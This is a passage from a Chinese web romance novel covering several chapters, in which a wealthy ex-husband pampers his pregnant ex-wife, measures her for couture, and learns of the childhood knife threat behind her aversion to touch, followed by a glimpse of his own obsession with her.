“要不赶明儿,我再去找个国内的好大夫,给你治治?”林晚关切的向她提议道。 姜绒敷衍的点了点头。 她心里清楚的很,自己这个病确实难治,但现在,她似乎没有以前那么难治了。 因为——某个人的存在。 此时,哆啦A梦提示音响了一下,是姜绒的微信消息提醒,从她放在一旁的lv邮差包里传来。 她伸出白皙纤长的手指,将手机拿了起来。 发给她消息的是陆沉渊,上面只有简短的四个字:【我来接你】 姜绒愣了一下,她怎么知道自己在哪里?但随即,她看向包里的满钻劳力士手表后,回过了神来。 陆沉渊为了保证她人身安全,拿给她的这块东西,堪比定位追踪器了。 姜绒拿起手机打字,发回了一条消息给他:【喂,就算是人质也有放风时间吧?我自己回去就可以了。】 【十分钟后到门口。】陆沉渊的消息接踵而至,内容更加令她惊讶。 这人还真是听不懂话,姜绒收起手机,在心里狠狠吐槽他,却莫名其妙的,又觉得有些开心。 林晚端着一碗店里送的燕窝递给姜绒,向她问出了声:“绒绒,你傻笑什么呢?” “哈?傻笑?我有吗?”姜绒矢口否认,拿起勺子,喝了口手里的燕窝,看向林晚, 这次,她却发现了一件事情,一向看起来平平无奇,给人留不下很深印象的林晚。 不戴眼镜,并且经过一轮精致的皮肤管理过后,那张脸其实长得非常清秀好看。 “晚,俗话说,人靠衣装美靠靓装,你这样真的很漂亮,再试试学习化妆那些,我哥一定会同意让你养狗的。”” 姜绒拍了拍林晚肩头,朝她说道。 “哎,你也知道的,我一向不在意这些。”林晚满不在乎的朝她摆了摆手,脸上却可疑的红了一下。 姜绒知道,时间马上快到了,她放下手里的燕窝,向林晚匆匆告了个别,就往外走去:“我先走啦,回家画画去,你再慢慢放松一下。” “好,拜拜。”林晚点了点头,目送姜绒背影离开,她知道对方历来是个灵感一来,就必须马上开始创作的急性子。 姜绒走出店门,又警惕的向后看了一眼,确定林晚没有出来以后,这才在松了口气,放下了心来。 陆沉渊的豪车已经停在了路边,甚至她都不必去特地找就能知道,最贵又最低调拉风的,就是他的车。 比如这辆,她此前没看他开过的,蓝白海鸥配色,价值1300万的迈巴赫62s。 回到云顶天阙以后,姜绒才明白了过来。 对方今天这么早就下了班,特地过来接她回来,嘴里不以为然,告诉她的,所谓“有点小事”,到底是多大的阵仗。 司机替她打开车门,姜绒脚步才踩在地上,就已经看到了别墅门口恭候他们回家,站着的两排人。 前一排的人,身穿白大褂,看起来专业素养极高,后一拍,则是时装设计师和高挑的试装模特。 一同走进别墅里,在顶级牛皮沙发椅上坐好,坐在她身旁的陆沉渊,这才沉声向她说道: “这是我给你配备的孕期医疗团队,由全球顶尖产科、营养学、内分泌学、心理学的专家组成,他们会24小时待命,并且定期进行线上联合会诊。” “他们会实时监测你与胎儿的所有关键生理指标,孕期的任何微小偏差都会触发预警,并且在你察觉不适前,直接生成干预方案。” 姜绒瞪大了一双鹿眼,这未免也太夸张了,不知是不是她的错觉,这个顶级团队里的好几张脸,她似乎在偶尔翻阅过的医学杂志上扫到过。 她忍不住抬头望向陆沉渊问道:“你的意思是不是说,以后我都不用去医院了,而是由他们定期过来,给我进行产检?” “对,他们的检查会非常细致,产检室里,所有最新的进口仪器,都已经配备好了,就在别墅地下一层,管家会按时带你过去。” 陆沉渊骨节修长的手指,推了推鼻梁上的金丝边镜框,沉声回答她道。 姜绒不由感叹出声:“你这是把整个医院都搬过来了吧?太厉害了,果然,真是有钱能使鬼推磨。” 而不知,是不是她的错觉,她总感觉,今天回来,从一踏进别墅里,她就能闻到,空气似乎不一样了。 这股空气,闻起来并不像凛川市里会有的空气,反而不仅新鲜,似乎还隐隐夹杂着一丝花朵与青草的清香味道。 令姜绒忍不住,再次深呼吸了好几下,只觉得浑身都很舒畅。 站在一旁的管家老陈,敏锐的捕捉到了她的这个动作,向她恭敬的说道: “姜小姐,别墅里的空气,是陆总专为了您孕期,今天一大早,就命令做过换新处理的。” “是使用了什么新型空气净化器吗?”姜绒没太听明白他这话里的意思。 “是陆总的私人高山森林,作为空气农场,通过专用管道,将经过严格过滤、富含负氧离子的空气,直输至别墅里的。” 老陈接着向她耐心解释道。 姜绒心里的震撼更甚。 她以为把医院搬到家里已经够震撼了,管家却告诉她,陆沉渊甚至还专门购买了,私人高山森林,只为了给她供输最新鲜的氧气。 “另外,别墅的饮用水,也是来自特定的冰川源头。陆总要求每天空运过来,直送实验室,经过严格的矿物质配比调整后,供别墅使用的,以满足您孕期不同阶段需求。” 老陈补充说道。 姜绒转头,看了陆沉渊那张轮廓深邃的脸一眼,红着耳朵,向他道了句谢:“谢谢你,这么替我和孩子考虑。” 陆沉渊对她的感谢不置可否,镜片背后,那双黑眸却牢牢锁住她,视线紧紧黏在她嘴角的小小梨涡上,呼吸加重了一些。 此时,落地窗外,一块明亮的光斑,正投在她好看的锁骨处,他盯着那点光,看得出神,骨节修长的指腹,碾过膝盖上的布料。 就像冰冷的蛇,嗅到了猎物的味道,吐着蛇信子,思考着,下一次,应该从哪处下口呢? “不过,我也可以给孩子很好的生活。我在艺术馆里画的画,已经卖出去了,有个冤大头直接拍了我的原始价!” 姜绒想起了今天自己这个好消息,向陆沉渊笑着说道。 但很快,她的笑容就凝固了,整张白皙的小脸,瞬间红的厉害。 因为在他们身后,兀然走过几个身穿蓝色制服,抬着画,正要去别墅的墙壁上,挂画的工人。 而他们手里,那副画,姜绒再熟悉不过, 正是她用绮丽的红酒,所画出的那副,姿态慵懒的白裙兰花,少女自画像。 原来这个冤大头不是别人,正是陆沉渊! “你……你怎么会买我的画啊?而且用这么高价钱。”姜绒红着脸,有些语无伦次的望向陆沉渊问。 陆沉渊那双平静无波的有神黑眸,却径直锁住她,那张淡色的薄唇轻启,沉声回答,非常简短, 只有两个字:“喜欢。” 喜欢?是喜欢她的画吗?还是喜欢什么啊? 这样直接的表达喜欢她的画,甚至比直接说喜欢她的外表,或者某些优点,还要更加直白、性感。 毕竟,她这个人可以掩饰和伪装,但她的画,可以说是完全赤/裸的,只会诚实的表达她的一切内心。 真是要疯了!姜绒迅速移开自己,不自觉的盯着陆沉渊,那张淡色唇上黑色小痣,看的视线。 “我去试试那些衣服和鞋子吧!” 为了掩饰内心的紧张,她站起身来,向不远处待命的服装设计师们,以及他们带来的高定时装前走去。 “陆夫人,在为您服务之前,我们必须得知道,您具体的三围数据。” 一名时尚长粉发,在时装刊物上出现,最近正炙手可热的明星服装设计师,朝她恭敬而热情的说道。 对方因为不清楚情况,对自己的称呼已经够让她惊讶了,陌生异性向她提出来的这个请求,更是令姜绒觉得十分为难。 此时,陆沉渊低沉的声音,却伴随着脚步声,兀然从姜绒脑后传来, 令她红着耳朵,瞪大了一双鹿眼,根本不敢相信: “我来给你量吧。” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,猫猫更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第22章 第二十二章 害怕我吃了你? 姜绒红着耳朵, 声音却比理智先行,鬼使神差的答应了下来:“好吧……” 她仍然想弄明白,自己是不是真的完全能够接受陆沉渊的触碰。 甚至对于他的触碰是喜欢的。 毕竟, 此前二十四年的人生里,任何异性一旦离她过近, 即使只是意识到这件事情,自己都会觉得极其恶心。 “陆夫人和陆总天生一对,感情蜜里调油, 一定能够完美完成这件事情!那就麻烦陆总了。” 服装设计师巧舌如簧, 恭敬的弯下腰去, 将手里的棕色皮卷尺递给了陆沉渊。 姜绒脸上红的更加厉害, 什么叫天生一对, 蜜里调油啊, 事实上他是她的前夫, 而她是他的前妻罢了。 还是毫无感情基础的那种。 她现在开始怀疑,陆沉渊到底是怎么和他请来的这些团队,说明他们两人之间的关系的。 “我夫人不喜欢被这么多人盯着量,所以你们先全部离开吧。”陆沉渊却冷冷发布了一个命令。 于是所有的人,迅速整齐有素的往别墅外走去了, 偌大的地方,瞬间安静了下来, 只剩下他们两个人存在。 姜绒红着整张脸, 心里却炸开了花,刚才她真的没有听错吧?陆沉渊竟然用夫人, 这两个字来称呼她,而且还是当着所有人的面。 屋内已经彻底寂静了下来,来自于高山森林, 被运输于此的空气,每一口闻起来都十分新鲜清新。 可姜绒的内心却并不平静,甚至莫名的觉得紧张,腿也有些微的发软,自己胆子好像真的太大了,让陆沉渊来给她测量。 沉稳而有力的脚步声,从她身后响起,每一步却都好像它在她的心上,是陆沉渊高大的身影,在走近她。 姜绒攥紧白皙纤长的手指,心跳极快,低垂眼睫,根本不敢转身回头。 “把手臂展开。” 陆沉渊低沉而好听的声音,如同冷泉清响,骤然从她头顶响起,伴随着他身上那股特有的雪松冷香味,从她身后席卷而来。 姜绒这才意识到,对方高大的身影,已经自身后贴近了她,而她甚至隐隐能感觉到,对方高级西装的凉滑面料,触碰上她后背皮肤的质感。 20厘米的身高差,令她整个人,都完全被他笼罩进了他的影子里。 “嗯……”她红着脸,抑制住内心的紧张,以及心脏的跳动,闭上眼睛,照陆沉渊说的那样去做,展开了两条纤细匀称的白皙手臂。 一声低沉的喟叹,自她耳背后响起,视觉被自己剥夺以后,她的触感反而更加敏锐。 姜绒能感觉到,陆沉渊骨节修长的微凉指腹,似乎在顺着她白皙纤长的指尖,往她手臂延伸的方向,一点一点滑动。 他的呼吸带着温度,平稳地拂过她白皙的耳垂,她甚至能清晰感受到,他胸腔的起伏频率。 而自己被他触碰到的每一块皮肤区域,都如同一颗被他立即点燃的小行星,控制不住的发热变红。 姜绒在心里告诉了自己,这个感觉不对,和她以往被任何一位异性,碰到自己身体的反应,都完全不同。 她闭着眼睛,呼吸止不住的加重,展开的白皙手臂也不可抑制的轻轻颤抖了好几下。 “害怕,我会吃了你?”陆沉渊低沉冷淡的声音,却兀然从她耳廓旁响起,尾音里自带了一分上扬的弧度。 听到这句话,姜绒身体僵了一下,脸上瞬间红的更加厉害,只得强装镇定,有些结巴的反驳他道: “谁……谁害怕!你快量你的就是了!” 陆沉渊却在她耳畔,低低笑了一声,嗓音里藏了几分暗沉的喑哑:“呼吸声太重。” 姜绒长睫颤动,愣了一下,这还是她第一次听见陆沉渊笑。 他笑起来的声音,非常好听,就像荒芜雪地里开出了一朵艳红的玫瑰,染上了几分情/欲的味道,热烈而肆意。 而他笑的原因,竟然是因为自己。 与她自高中时起,就看到的他那张禁欲至极的脸,从来没有任何波澜起伏,如同电脑人一般的冰冷,完全不同。 这似乎,是她所未知的,陆沉渊的另一面。 “我说了……我有窦性心律过速。”她红着脸,继续大言不惭,用连自己都不相信的谎话,来反驳他。 陆沉渊却不再说什么,冷白修长的指尖,穿过她抬起的双臂,擦过她锁骨下方的皮肤,带来她一阵冰凉的战栗。 而他慢条斯理,缓慢调整皮尺位置的动作,仿佛是在校准,这个世界上最精密的传感器,以及这个世界上最准确的数据。 姜绒却红着脸,屏住呼吸,只觉得,这几乎如同,是在对她进行凌迟。 她开始后悔,后悔自己为何要答应他,给自己来量! 现在,她甚至开始怀疑。 这人或许,根本就是一个恶魔,一个好整以暇,虚位以待,就等着她,精准撞进网里去的恶魔。 “胸围已经量完了。” 陆沉渊的声音,已经恢复了冷淡,在她耳畔说道,仿佛刚才的一切只是她的错觉。 姜绒松了一口气,好不容易量完了一个数据,却让她觉得简直过了一个世纪一般那么久。 她张了张唇,颤抖着长睫,想干脆睁开眼睛,告诉陆沉渊,拒绝他继续往下量算了。 哪怕可能会被他嗤笑,自己根本就是个虚张声势的胆小鬼,不同于她外在嚣张跋扈,天之骄子,受到无数异性追捧的校花存在。 但陆沉渊,显然有他自己的想法,而且与她完全不同。 姜绒兀然再次呼吸了一口气,整个腰腹都僵了一下,白皙的耳朵在持续性的高热。 因为,她感受到了,对方高大的身影,自她身前蹲了下去了,宽大的手掌,径直握住了她,暗红丝绒长裙包裹下,孕早期,犹还纤瘦的腰肢。 这一次,他竟然过分到,连皮卷尺也不拿了! 简直就是个疯子! 然而,她却是个可悲的胆小鬼,胆小到连眼睛都不敢睁开。 “放松,保持自然呼吸,否则会影响肌肉状态,导致测量数据失真。” 陆沉渊似乎察觉到了她的异样,低沉好听的声音响起。 而即使蹲下去,他高大的身量,仍然无法忽略,几乎如同她站着那般高了,甚至呼吸说话时,热意会透过她身上的丝绒布料,直接传到她腹部去。 姜绒闭着眼睛,并没有回答他的话。 却在心里不住的告诉自己,一定要淡定,一定不能紧张,毕竟自己可是当过演员,演过话剧女主角的。 不过是测个腰围而已! 陆沉渊用他的骨节修长的手指,一寸又一寸,谨慎而认真的测量,令姜绒兀然品出了几分偏执的味道。 仿佛在对待一件被绝对掌控的,珍贵艺术品。 而他的大拇指,却兀然,极其轻微地,在她腰内侧,轻轻摩挲了一下,这仿佛是他在认真工作,亦或是感受布料的质感。 但更有可能的,是为了感受布料其下的温度。 “唔……”姜绒红着脸,贝齿咬住了下唇,硬是没让一向怕痒的自己,发出任何声音来。 不知过了多久,陆沉渊高大的身影站了起来,钢笔的沙沙声在昂贵卡纸上响起,一丝不苟的记录下三组数据。 他沉声告诉了她:“测量已经结束了,你可以睁开眼睛了。” 姜绒立即睁开了一双,含了些许水波涟漪的鹿眼。 她白皙的脸上发热,双腿犹有些发软,握紧了纤长的手指,根本不敢与陆沉渊那双,锁住她的,好看的黑眸对视。 但内心,却有一个极其坚定的答案告诉她,刚才她的hsdd并没有发病。 自己不仅没有觉得恶心想吐,或者想立即逃离这个地方。 回想起刚才的一切,她心里甚至还隐隐有一丝,不愿停止的上瘾之感。 “我去叫他们进来。”陆沉渊朝她沉声说道,高大的身影,长腿一迈,已经离开了偌大的客厅。 姜绒立即在沙发上坐了下来,平息刚才失速的心跳。 服装设计师和高挑纤瘦的模特们,立刻鱼贯而入。 各种现有符合她尺码的,极其高级好看,富有设计感的,现有高定时装和鞋子,以及未发布的,最新季的设计师手稿,都被呈上。 姜绒毫不客气,让模特们试装,在自己面前走了台步后,选定了好几个款,看起来非常惊艳的裙子和鞋子。 “陆夫人,您还可以看看这些设计,若是您不喜欢的话,我可以根据您的要求,重新设计,或是修改设计稿。” 服装设计师,将他手里的平板递向她,恭敬地站在一旁说道。 陆沉渊的声音,却从姜绒耳畔传来,推了推鼻梁上的金丝边镜框,语气冷冷的命令设计师道: “一切以她的喜好为准,面料和材质都选最舒适,最贵的。” “另外,鞋子不要有跟,裙子腹部的尺寸,根据她孕期阶段变更,不要有紧身设计。” 姜绒愣了一下,听到陆沉渊的话,心里有些暖暖的。 他远比自己想象中,还要细心,想事情的周到程度,甚至远远超过了她自己。 “好的,陆总,陆夫人,包您满意!” 服装设计师认真的记录下了他们的每一个要求,在姜绒完全全部的挑选后,才和团队的人,一起有序的离开了整个别墅。 这种坐在家里购物的爽感,超乎了姜绒的预料。 她只觉得开心至极,毕竟谁花钱都会觉得快乐,更不必提,她消费的,还是陆沉渊那张无限额的黑卡。 初步估计,刚才光是高级定制的衣服和鞋,她便消费了上千万。 陆沉渊似乎发现了她的开心。 一双好看的黑眸锁住她,停留在姜绒那张,掩饰不住发自内心的快乐,无忧无虑的白皙小脸上,目光拂过她嘴角露出的,两个小小梨涡。 骤然感受到陆沉渊炙热的目光,姜绒白皙耳垂,已然泛了红。 他却兀然,朝她沉声问出了一个问题来: “可以告诉我,你患上hsdd的原因吗?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第23章 第二十三章 我会让你永远走在我的前面…… 没有预料到陆沉渊会向她问出这个问题来, 姜绒愣了一下。 可与他那双漆黑的眸子对视,她看到了认真。 对方似乎并不是出于玩笑,或是其他目的, 而是真正想了解她,才问出了这个问题。 就像一个灵魂, 向另一个灵魂,小心翼翼的伸出了触角,想要知道彼此最深处的模样。 姜绒在陆沉渊那双深邃而好看的眼眸里, 竟然看到了一些, 她从不曾见到过的情感流动。 令从未向除了家人以外的任何人, 无论是她的闺蜜林晚, 还是周野, 提起这件事来的她, 第一次有了想要倾诉的欲望。 姜绒攥紧自己有些发白的纤长指尖, 长睫轻颤,张了张唇,缓缓向陆沉渊提起了那件被她尘封,却如同幽灵与钉子一般嵌在她心里,如影随形的事: “那是我初三暑假时候, 发生的事……” 姜绒自小就生得漂亮,这是无可辩驳的事实。 从小围绕在她身边的赞美数不胜数, 从婴儿时期开始, 当其他孩子出生时,一副皱巴巴, 头发稀疏,脸上红彤彤的模样不同。 她的起点就很美,皮肤很白, 没有瑕疵,头发乌黑浓密,一双大眼睛又亮又有灵气,就像画报上的仿真洋娃娃一般。 从幼儿园入园那天开始,她的美貌就足以惊艳到其他班的小朋友。他们竞相来班里看她,小男孩们都想牵着她的手走入园中。 小学、初高中、大学时更不必说,她一路都是以当之无愧的校花的身份长大。 高中时,她陪一心有个明星爱豆梦的哥哥,姜曜去面试乐队的练习生选拔时,经纪公司第一眼就相中了,陪伴而来的她。 她的美貌甚至惊动了经纪公司的老板,由老板亲自下场,来劝说她加入部下的演艺公司,并且拍着胸脯,向她保证,她一定会在娱乐圈内一炮而红。 因为她的长相精致且自然,好看的程度,已经远远超过了圈内无数明星小花的颜值。 但姜绒毅然决然的,拒绝了经纪公司的软磨硬泡,因为她心里反倒有个艺术梦,志不在此。 因为习惯了众人的环绕,习惯了出众的颜值,给自己带来的,周围人的一切美好与善意。 所以姜绒从来没有想到过,有一天,美貌也会带给她困扰,也会吸引垂涎欲滴的恶意,并且给她狠狠上了一课。 那是她初三毕业那年的暑假,已经考上了心仪的高中,她有整整两个月的时间,可以好好放松玩耍。 苏女士打算带着她们一家人去国外度假旅行,带她和姜曜开阔一下眼界,但姜绒那时对出国并不感兴趣。 于是拒绝了苏女士的劝说,执意要自己留在家里,就在凛川过暑假。 她有自己的打算,趁这个暑假,好好精进画艺,争取将来去最好的美院里进修,毕业后创立自己的艺术馆,争取在艺术界找到自己的一席之地。 毕竟母亲苏女士的造诣和成就,一直是她心里的指路明灯。 于是她就被姜新鸣,亲自拜托给了,离画室最近的亲戚姑姑家里照看。 姑姑家里经济条件比不上她家里,不住在别墅区。虽然是地段不错的小区,但是因为处在旧改区,因此人员鱼龙混杂。 去画室的路上,她甚至要穿过一条老旧的,没有路灯的巷子。 苏女士早就叮嘱过了她,那段路不好走,她一定不要在画室留的太晚,超过六点回家,一定要和她们打视频报备,她们会通知姑姑亲自去画室接她。 姜绒却并未将这些话,放在心上,因为她一向自认为胆大,天不怕地不怕。 更不必提,她是从小泡在蜜罐里长大的富家小姐,被家人保护的非常好,人又非常善良。 就连雨天,见到路边淋雨的小狗,她都会上前,拿自己的伞,给小狗遮雨。 她极少见识过底层,以及人性的恶。 于是,暑假有一天,姜绒突然灵感大爆发,想画一副大型画,于是她哼着歌,听着耳机里的音乐,浑然忘我,拿着画盘,在画室里,画了许久的画。 她太过入迷,甚至忘记了时间的流速,以及周围的一切,只沉浸在艺术里,以及自己创造的画中的世界里,不知道过去了多久。 当姜绒终于结束那副画时,她看了手表,发现她已经在画室里待到了晚上十一点,而外面的天已经全黑了,甚至不知何时,已经下起了不小的雨。 她拿起手机,想要联系姑姑过来画室接她,却发现她的手机早就已经没电了。 画室里空无一人,所有人都离开了,只剩下她一个人。她心里更觉得有些害怕,不想一直在那里待着,更何况画室离姑姑家里,走路其实也就十分钟的距离。 于是,她做出了一个错误的决定,那就是自己走路回家。 当姜绒撑着伞,走进画室旁边那条,空无一人,昏暗幽寂的巷子里,快步往姑姑家走去时,起初一切正常。 但走了不过一两分钟后,她很快察觉了不对。 身后一直,有一道陌生脚步声,在跟随着她。 借着路边积水的倒影,她清晰地看到了,有个黑影就跟在她身后十米,保持着完全一致的节奏。 而且她停,影子也停,她走,影子也走,显然那个人的目标,就在她身上。 姜绒被吓得脸色苍白,攥紧伞的手柄,几乎屏住了呼吸,脑海里每一步都在设想,这个人会对自己做出什么,思考自己能有什么办法呼救、应对。 她大步向前跑了起来。 然而那个黑影,并没有给她求救的机会,突然从后方加速靠近,毫无困难,就追上了她。 那是一个浑身散发着酒味的成年男人,他自从后方靠近她,从兜里掏出了一把冰冷坚固的东西,抵在了她腰上,在她耳边醉醺醺的说: “别回头,继续走!老子早就盯上你了,知道你住哪栋楼!” 当姜绒逐渐意识到了,那冰凉坚硬的东西是一把锋利的匕首,极轻易就能刺穿她的皮肤,隔着校服,都能让她觉得刺骨寒冷以后。 她根本就不敢反抗,浑身几乎都被飘进伞里的雨淋湿了,只能按照那男人的要求,一边流着泪,一边迈开抖到不行的腿,往前走路。 她只是一个初三的学生,她从未经历过这种事情,除了家人以外,她和成年男人的接触极少,更不敢面对死亡的恐惧,以及未知侵犯的恐惧。 那个男人似乎非常享受,她的恐惧与害怕,他的快乐建立在弱者的眼泪之上,哪怕她只是一个未成年的女学生。 他一边用手里的匕首,逼着她往前走,一边用不堪入目的话,不停粗鲁辱骂着她,诸如你个小婊/子,长得这么好看,就是为了勾引男人吧。 她听到了许多这辈子,她从未听到过的脏话,以及对女人的各种攻击与诋毁,这个浑身酒气的男人,似乎要把一切对于异性的不满与愤懑,全部发泄出来。 就在巷子尽头,路边的灯光逐渐变亮,姜绒的情绪也濒临崩溃之时,那男人突然狠狠自后,推了她一把,便大步跑开,消失在了夜色里。 姜绒狠狠跌倒在了雨水里,膝盖被坑坑洼洼的地面,撞得青紫,而迟来的姑姑,在那时才接到了她。 很快姑姑报警了,苏女士和姜新鸣,以及她哥,都立即坐了当天的飞机,就赶回了家。 警察迅速行动了起来,然而那条巷子里并没有监控,路灯也少,更没有目击证人,要找出那个男人来,无异于大海捞针。 何况那个男人,并没有做出实质性的,伤害她的举动和行为来,于是在搜寻无果后,一段时间后,这件事情就这样结束了。 即使那件事情发生以后,父母开始加倍保护她,直接让她回到家里别墅居住,再也不准她去姑姑那里,并且立即给她在家里,装潢布置了一间设施极好的画室。 而那个暑假剩余的时间,哥哥姜曜更是几乎寸步不离的守在她身旁,外出时,从不让她一个人出去。 然而,自那天以后,姜绒就留下了极重的心理阴影。 那段时间,她甚至发展出了“后脑勺式的视觉”,对身后的一切环境,会显得异常敏感。 任何异性的突然靠近,尤其是在她身后视野盲区的动作,都会让她立即惊跳起来。 那个粗鲁而恶心的男人,以及那把“刀”,仿佛一直自身后抵在她的腰间,从未离去。 她的身体记住了那种被胁迫、完全失控的僵硬感。 于是,在潜在的亲密关系中,当对方试图拥抱或靠近时,她的身体会不自觉地重现那种“冻结”反应。 姜绒根本无法产生应有的愉悦和放松,而是立即变得冷淡且疏离。甚至内心只觉得恐惧、害怕、恶心、想逃。 她明白,是她的身体在通过“关闭”感受,来保护自己,不再体验那种极致的恐惧。 可姜绒甚至开始害怕,每一个雨天夜晚的来临。 每一次下雨的晚上,她都会习惯性的,把屋里所有的灯都开上,反复确保自己是安全的,是处在光明之下的。 然后抱紧自己,在光里睡着。 说完了心里的秘密,姜绒纤长的指尖,紧紧攥紧身下的真皮沙发椅背。 她低垂着眼睫,不敢想象,听了自己的经历以后,陆沉渊脸上的表情,会是什么样的。 会觉得她很可笑吗?还是会觉得她很愚蠢,竟然连一点警觉心也没有,更没有什么自保的能力。 别墅里寂静至极,静到甚至只能听到,她和陆沉渊的呼吸声。 但很快,一道微凉的触感,兀然擦过她红肿的眼尾,指腹拂去她脸上,自己也未曾察觉到,何时已经滚下了眼眶的滚烫泪水。 姜绒一双鹿眼兀然睁大,抬头对上了陆沉渊,那双坚定无比的深邃黑眸。 他低沉好听的声音,在她耳畔响起,语调很轻,却斩钉截铁: “从今往后,我会让你永远走在我的前面。” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第24章 第二十四章 越控制,越沉沦。 让她永远走在他的前面? 陆沉渊的意思, 难道是说,他会一直站在她的身后,为她守住那些未知的危险, 阻止一切会伤害到她的人,向她靠近吗? 这句话像一道带着暖意的微光, 穿透她内心那些厚重的冰层。 她预想过陆沉渊会有的很多反应——同情、怜悯、愤怒,或是刻意的轻描淡写——但唯独没有想过,是这样一种。 他没有要强行“消灭”她心里存在的阴影, 而是向她无比霸道的宣告, 要成为她世界里新的、安全的“背景”。 可是他真的了解自己吗?自己又真的了解他吗? 陆沉渊是以什么样的身份, 又是报着什么样的心理, 来说出这番话的呢? 难道是以她肚子里孩子的爹, 两人不得不被强行绑定的身份吗? 姜绒突然想起, 那天在餐厅里看到的乔安安, 对陆沉渊的那一番深情表白来。 藏在她心里的戒备,兀然又升腾了起来。 或许,她根本不应该把这个秘密告诉陆沉渊,因为那是她最大的弱点所在。 “抱歉,是我失态了, 我先回房间睡觉了。”姜绒红着脸,站起了身来, 径直向电梯里走去了。 可即使离得再远, 她也能感觉到,陆沉渊目光炙热, 一直牢牢锁在她身上,未曾移开分毫。 回了自己的房间,姜绒却翻来覆去, 怎么也睡不着,脑海里总是闪现陆沉渊,那双锁住她的黑眸,耳边一直回荡着他沉声朝她,认真说出来的那句话。 甚至就连,他微微带着粗粝感的温热指腹,抚过自己眼眶的触感,也深深的印在了她的皮肤之上。 姜绒逐渐发现了一件非常离谱的事情,自己的身体,似乎能够自动记忆住陆沉渊,带给她的一切感觉。 包括那个雪夜里,她和他,极其荒唐的一夜,陆沉渊留在她身体深处的,她从未获得过与识得过的,那一份无与伦比的快乐。 姜绒逐渐觉得,自己简直不可理喻,就像一个疯子。 一个患上了hsdd的人,怎么可能会偏偏对某一个人的触碰,觉得上瘾呢? 不行,必须转移自己的注意力! 姜绒拿迅速出手机,开始了刷视频,聊天,自学起了各种孕期保健知识。 与此同时,陆沉渊房间,偌大的浴室内。 冰冷彻骨的水,从打开的淋浴头里,被当头浇下。 可他却仍然觉得不够,根本无法浇灭一丝一毫,他藏在心里,几乎将他整个人吞噬的,对于姜绒的欲望与渴症。 陆沉渊骨节修长的冷白手指,摘下高挺鼻梁上的眼镜框,看了一眼镜子里,眼眶发红,浑身湿漉漉的自己。 那双漆黑的眸子,直视着镜子时,似乎骤然变成了另一种猩红的颜色。 与他在客厅恒温箱里,养着的那只,竖着双瞳的鬃狮蜥,难掩野性的模样,并无什么不同。 一旦接近姜绒,陆沉渊总觉得自己像是变成了一头野兽。 一头方才,还在亲手测量着自己猎物,体味着那种甜美的滋味,恨不得一口吞下的兽。 可偏偏,他不能。 因为刚才,姜绒向自己亲口诉说了,她患上如此严重的hsdd的经历所在。 她内心深处装着一块难以融化的寒冰,一扇稍有不慎,就极有可能,对他彻底关上的门。 而他绝不能,成为她心里的阴影, 他要成为她的后背。 因此,他必须小心翼翼,万分谨慎。 陆沉渊闭了闭眼睛,任由当头浇上的冷水,淋湿自己的黑发,自己轮廓深邃的脸,顺着自己身上湿透的白衬衫,随着皮肤纹路,和肌肉轮廓一同滑下。 很快,他抬起了忻长冷白,犹滴着水珠的手腕,手腕上面,那块劳力士手表早已被他摘下,取而代之的,却是一个极旧的,水洗牛仔蓝的雏菊发圈。 陆沉渊低垂下泛红的眼睫,深深嗅了一口发圈的味道,那上面,似乎还隐隐残留着,淡淡的蜜桃香气,令他难以自拔。 这个发圈的主人,正是高一时候的姜绒。 自那次心理治疗以后,江之晏给了他,多接触姜绒,甚至与她交朋友,来完成脱敏训练的治疗方案。 陆沉渊却仍然不想,与她有任何过多接触,无论是作为同班同学,多说上一句话,还是多一眼的对视。 因为陆沉渊明白,他和姜绒完全是两个世界的人,思想观,人生观,价值观完全不同。 就像住在火星和地球,从来不曾碰面的两个物种。 从学生时代开始,陆沉渊就是陆家从小全力培养的,庞大而冷血的运行机器之下,严格规范的轴心继承人。 学生时代的他,只是个做题机器。 因为,感情这种东西,于他的身份没有任何益处。 在学校里,他寡言少语,极少浪费时间,在不相关的人和事上。 碰到不长眼力,硬扑上来向他表白的女生,陆沉渊会在对方开口说出第一个字时,便直接拒绝,拔腿离开,彻底忽略。 而因为患有洁癖的缘故,所有人送来他桌上的东西,包括情书,全部会被他当成垃圾,立刻扔掉。 姜绒却与他恰恰相反,她是人气极高的艺术女神,身边的簇拥着无数朋友与追求者们。 在画室里,陆沉渊几乎认真看过她的每一幅画,画里那色彩明亮,恣意自由的味道,是他从来不曾体会过的感觉。 陆沉渊当然也能知道,姜绒和他的想法一致,对方极少看向他的目光里,大部分时间也都带着讨厌。 于是,那时的陆沉渊,想到了另一个办法,这个办法,也成为了他,高一时便存在的怪癖。 那就是——收集姜绒的东西。 无论是被她随手丢弃在垃圾桶里的废画纸,还是她掉落在地面上,忘了捡回去的钢笔,她上体育课时,落在操场上,却浑然不觉的发圈…… 他捡过许多属于姜绒的东西,并且私藏下来。 而收集这些东西,只是为了让自己对她脱敏,让自己梦里不再出现她。 陆沉渊不相信,自己的世界里,有什么不可驯服的东西。 毕竟在姜绒出现之前,在父母的教导之下,他甚至可以亲手抹杀掉自己一切的欲望。 例如,小时候,当陆竞深察觉到,他爱上了吃黑椒牛柳。 那么很长一段时间,家里的饭桌上,就只会出现那一道黑椒牛柳。 陆竞深会一直让他吃,吃到他想吐,吃到当他看到那道菜,心里下意识的反应,只会觉得恶心为止。 企业集团继承人这个身份之下,偏爱某样东西,需要付出的代价极大,大到无法想象。 因此,在他的世界里,偏爱从来不被允许。 而初中时,有一次,他为了能够专心解开世界奥数金奖上出现的一道压轴大题,他甚至尝试过,连续三天的时间里,只喝水,不进一粒米。 这种近乎自虐的狠劲和方式,使他做任何事情,都能够获得成功。 所以,他不相信,对于姜绒的渴望,会是他人生里唯一不能克服之事。 毕竟,在姜绒出现以前,他对任何一个女生都不感兴趣,对她们身上的任何味道也都无感,没有反应,甚至闻到她们身上的香水味,会觉得反胃。 换句话说,除了姜绒,他从未对任何一个异性,产生过任何欲望。 于是,在陆家偌大的庄园里。 父母留给他的,那唯一的隐私之处,那间只有他一个人的钥匙,才能够开门进入,摆满了他们费劲心思,给他搜罗来的世界古典名著原版书,一尘不染的书房里。 他,就坐在那里,使用姜绒的东西。 那时陆沉渊的思路很简单,和江之晏提出的脱敏训练如出一辙。 